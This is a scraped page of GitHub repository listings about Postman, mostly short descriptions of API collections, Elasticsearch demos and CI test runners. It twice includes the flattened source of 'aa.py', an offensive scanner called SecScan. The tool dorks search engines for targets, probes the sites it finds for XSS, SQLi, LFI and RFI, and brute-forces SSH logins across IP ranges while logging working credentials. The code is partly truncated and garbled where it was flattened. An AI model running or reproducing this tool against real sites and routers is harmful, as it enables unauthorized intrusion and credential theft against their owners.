collection, elastic, elasticsearch, postman collection, search 		A postman collection for Elasticsearch 4 stars 4 watchers 7 forks
Azure-Samples/azure-search-postman-samples
azure, description, sample, samples, script, search 		No description available. 0 stars 0 watchers 13 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
sjefvanleeuwen/camunda-zaken
case, engine, external, node, nodejs, process, research, search 		BPMN research case for zaakgericht werken using camunda process engine on nodejs external workers 2 stars 2 watchers 0 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
amittyyy/LandonHotelAPI_Project
book, booking, mobile, native, register, search 		BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. 1 stars 1 watchers 0 forks
bhawna2109/Librarian
book, books, case, check, collection, data, database, library, office, search, storing 		Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
ckumar1/zendesk-search-api-requests
client, collaboratively, search, zendesk 		Used to collaboratively share search requests saved in Postman client 0 stars 0 watchers 0 forks
johnnynotsolucky/appsearch-postman-collection
apps, collection, description, script, search 		No description available. 0 stars 0 watchers 0 forks
asheeshmisra/postman-Bing_In_Zomato
collection, place, postman collection, public, rest, restaurant, search, spec 		This is a public repository having a postman collection to search for a restaurant near a specified place using Zomato API and Bing Maps REST API. 0 stars 0 watchers 0 forks
brunopacheco1/learning-elasticsearch
document, documentation, elastic, elasticsearch, learn, learning, search 		Reading and Learning Elastic Search documentation and applying it on Java, Node.js and Postman. 0 stars 0 watchers 0 forks
deeep911/Java-elasticsearch
conducted, elastic, elasticsearch, search 		Elastic search is conducted using SpringBoot in Java, for API usage postman needs to be used 0 stars 0 watchers 0 forks
deeep911/JAVA-ElasticSearch-SpringBoot
conducted, host, hosted, java, local, locally, search 		Elasticsearch is conducted using SpringBoot in java, hosted locally.Hence, POSTMAN is needed for API usage. 0 stars 0 watchers 0 forks
deeep911/Java-parser-elasticsearch
data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets 		Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. 0 stars 0 watchers 0 forks
djdagorne/moviedex-api
current, index, movie, search 		indexed movie searcher, currently made for postman lookups with a UUID 0 stars 0 watchers 0 forks
garethahealy/elastic-postman
elastic, search 		[NEEDS-UPDATE] The idea of this project is to make it easier to search any GNU Mailman v2. 0 stars 0 watchers 0 forks
Hossam-PHP/PHP-Restful-Api-OOP-
api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls 		Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php 0 stars 0 watchers 0 forks
joanjpx/elasticsearch-api
elastic, elasticsearch, search 		API Requests Collections for Testing ElasticSearch Basics @ POSTMAN 0 stars 0 watchers 0 forks
JosephFahedTossi/voting-api
application, header, image, interface, program, programming, search, select, software, test, tested, upload, user 		An application programming interface which is tested using the Postman software where a user can search candidates by using the header "firstname", upload an image and vote for the selected candidate. 0 stars 0 watchers 0 forks
kabanon/learning-elastic-search
elastic, learn, learning, search 		You Know, for Search 0 stars 0 watchers 0 forks
KamilWysocki1990/GitHubSearch
application, browser, check, data, in browser, method, place, resource, resources, search, server, source, unit 		MVP||This application give u opportunity to search through repository in GitHub resources along with data to recognize owner of repository . It can also transfer us to the place where we can check chosen repository in browser. In app is implemented method in RxJava for handle bigger data flow which can help reduce time for waiting to get data on screen. Technlogoy used : Java, RxJava2, Retrofit 2, RecyclerView, MVP, ButterKnife, Glide, CardView, LifeCycleObserver, Architecture Components, Postman. 0 stars 0 watchers 0 forks
lizvane3/04-spotiapp
active, component, connection, home, image, index, message, messages, release, route, router, search, searches, track, usar, util 		Spotify: Routes (using it good and usedHash) routerLinkActive = "active” - routerLink="home”. HTTP Request. Spotify connection with postman - Home showing new releases - Search by artist - Centralizar peticiones hacia Spotify (one request to get releases and searches) - Creating pipe to no image - Reutilizar componente tarjeta para usar en index y busqueda con Input - Foundation loading - Route to each artist - Show top tracks and preview - Use safe url with pipe domSeguro. - Insert preview Spotify widget - Error messages in screen with Input 0 stars 0 watchers 0 forks
luizclr/PostmanJs
data, graph, progress, search, struct, structure 		🚧 work in progress... 📬 A postman searching for the best way to work using a graph data structure in JavaScript. 0 stars 0 watchers 0 forks
Manimsn/Riskcovry-Second-Task-Phone-Number-
file, match, matched, result, search 		Node API to read and search the matched word from a txt file. Use Postman to view the results 0 stars 0 watchers 0 forks
moinuddin14/oData-Batch-Postman-Demo
collection, example, find, intern, postman collection, process, research, resource, resources, sample, samples, search, source, spec 		I have researched a lot on the internet and couldn't find a lot of resources on oData especially for Batch processing example. So, adding the postman collection with some sample oData batch payload samples 0 stars 0 watchers 0 forks
neelkanthdaffodil/elasticsearch_training
elastic, elasticsearch, search, training 		Postman APIs used in the Elasticsearch training 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
noonlit/ES_demo
collection, example, search 		Postman collection with example requests to Elasticsearch. 0 stars 0 watchers 0 forks
rodrigolira/elasticsearch-query-collection
collection, elastic, elasticsearch, queries, query, scroll, search 		:scroll: A Postman collection of queries targetting Elasticsearch API 0 stars 0 watchers 0 forks
SvitlanaKarapugina/Trello_Postman_Api_Tests
ember, image, search, test, tests, user 		Postman api tests for Trello. Create/Update/Delete Board, List; Search board and search on board; Upload user image (negative and positive TC), get board's members and add board stars. I used GET, POST, PUT and DELETE. Create Environment with needed values. 0 stars 0 watchers 0 forks
vinitshahdeo/GitHub-Popular-Searches
find, popular, query, search 		A Postman Collection to find the popular repositories for a given search query. 0 stars 0 watchers 0 forks
worldisnoposition/elasticsearch--
elastic, elasticsearch, http, search 		elasticsearch的http形式的语句，以postman文件形式存储的 0 stars 0 watchers 0 forks
ykl124/elasticsearch-postman
elastic, elasticsearch, search 		批量ES API 0 stars 0 watchers 0 forks

running (36 listings) (Back to Top)

DannyDainton/postman-docker
docker, example, running 		A basic example of running Postman Collections with Docker 0 stars 0 watchers 10 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
duyn9uyen/postman-jenkins-demo
jenkins, running, server, test, tests 		A demo project on running Postman API tests with Newman on a Jenkins build server 0 stars 0 watchers 6 forks
DannyDainton/postman-ci-pipeline-example
example, pipeline, running, system, systems 		An example of running Postman Collections with Newman via different CI systems. 0 stars 0 watchers 4 forks
postmanlabs/newman-orb
circleci, collection, collections, http, https, newman, running 		CircleCI Orb for running collections with Newman - https://circleci.com/orbs/registry/orb/postman/newman 0 stars 0 watchers 4 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
cohix/gopherman
collection, form, format, library, running, test, tests 		Utility library for creating and running tests using the Postman collection format 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
mohamed-abdo/performance-load-test
api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit 		Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
ranovladimir/Entity-Framework-Core-Relationship-Web-API
command, command line, dotnet, file, notation, readme, running, sample, test 		Here is a sample project running on ASP .NET CORE using : - Entity Framework Core in command line (dotnet ef) - Relationships with Data annotation and Fluent API - WEB API (CRUD) => I using PostMan for test. To Getting started, please read the readme.txt file into the project. 1 stars 1 watchers 0 forks
polarbase/docker-newman
docker, environment, environments, gitlab, image, newman, running 		Docker image for running newman in (gitlab)-ci environments 0 stars 0 watchers 2 forks
thatinterfaceguy/yhcr-proxy-server-api-tests
collection, compose, environment, file, interface, local, locally, proxy, running, server, servers, test, tests 		Docker compose file, postman environment and collection for running tests against YHCR FHIR proxy servers locally 0 stars 0 watchers 1 forks
dparne/postman-cli
collection, collections, command, command line, download, downloading, interface, running 		A command line interface for downloading and running Postman collections 0 stars 0 watchers 0 forks
RezaAzam/Api-call-testing-automation
automat, automation, docker, newman, running, test, testing 		running with postman, newman , TravisCI with docker 0 stars 0 watchers 0 forks
HP213/My_first_blockchain
blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app 		This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ 0 stars 0 watchers 0 forks
atzawada/concourse-postman-task
concourse, course, running, task, test, tests 		A task to better handle running Postman tests in Concourse. 0 stars 0 watchers 0 forks
bamanczak/postman-yaddress
address, postman tests, running, test, tests 		Proof of Concept for running postman tests using TravisCI 0 stars 0 watchers 0 forks
flaviostutz/postman-runner
environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools 		Container with tools for running Postman scripts for integration tests on local or CI environments 0 stars 0 watchers 0 forks
gitkevster/postman
running 		Postman running via Newman in Travis CI 0 stars 0 watchers 0 forks
kinzical/CRUD-using-dapper
running 		running the api in postman 0 stars 0 watchers 0 forks
manthan2020/postman-jenkins
jenkins, running, setup 		trying to setup for running postman api using jenkins 0 stars 0 watchers 0 forks
microcks/microcks-postman-runtime
bridge, interface, microcks, running, test, tests 		A bridge for running Postman tests from HTTP interface 0 stars 0 watchers 0 forks
multimac/data-driven-postman
data, drive, driven, running, script, scripts, series, test, tests 		A series of scripts for running data-driven tests using Postman 0 stars 0 watchers 0 forks
navadeep0927/run-postman
collection, collections, jenkins, postman collection, postman collections, running 		running postman collections in jenkins 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
PeripheralMike/jenkins-newman
docker, image, includes, jenkins, newman, remote, running, test, test run 		A complete docker image that includes Jenkins, Newman (for Postman remote test running) and the associated dependancies 0 stars 0 watchers 0 forks
PeripheralMike/pipecleaner
remote, running 		Sample Postman Collection for remote running 0 stars 0 watchers 0 forks
PhanNN/postman-combine
collection, collections, combine, jenkins, newman, postman collection, postman collections, result, running 		Using to combine many postman collections to one (ex: for running newman + jenkins with one result) 0 stars 0 watchers 0 forks
saimatsumoto/yarn-postman-newman
install, installed, mock, newman, running, test 		a mock-up repo to test out running postman API test with newman, installed via yarn instead of npm 0 stars 0 watchers 0 forks
satya497/Movies_Filtering
compose, data, database, docker, form, operation, operations, python, running 		it will get data from database and perform operations using python and running in docker compose and input will taken postman. 0 stars 0 watchers 0 forks
sup-engineer/postman-tests
collection, engine, running, test, tests 		Postman collection running with Newman 0 stars 0 watchers 0 forks
vanirjr/multi.Postman
bulk, mail, mailing, powerful, running, server, servers, system 		a very powerful bulk mailing system for FreeBSD/Linux/Unix servers running Postfix and PHP 0 stars 0 watchers 0 forks
xananthar/Pharmacy2U
collection, endpoint, endpoints, example, included, interface, postman collection, running, sample, setup, solution, test, tests, unit, user 		pharmacy 2U tech test solution. Please ensure the API is running on port 49516 alongside the MVC user interface. A postman collection is included with some sample invokes of endpoints on the API, and a unit tests project has been setup with an example unit test which makes use of MOQ 0 stars 0 watchers 0 forks

functional (34 listings) (Back to Top)

sn0112358/Angular-Directive-Project
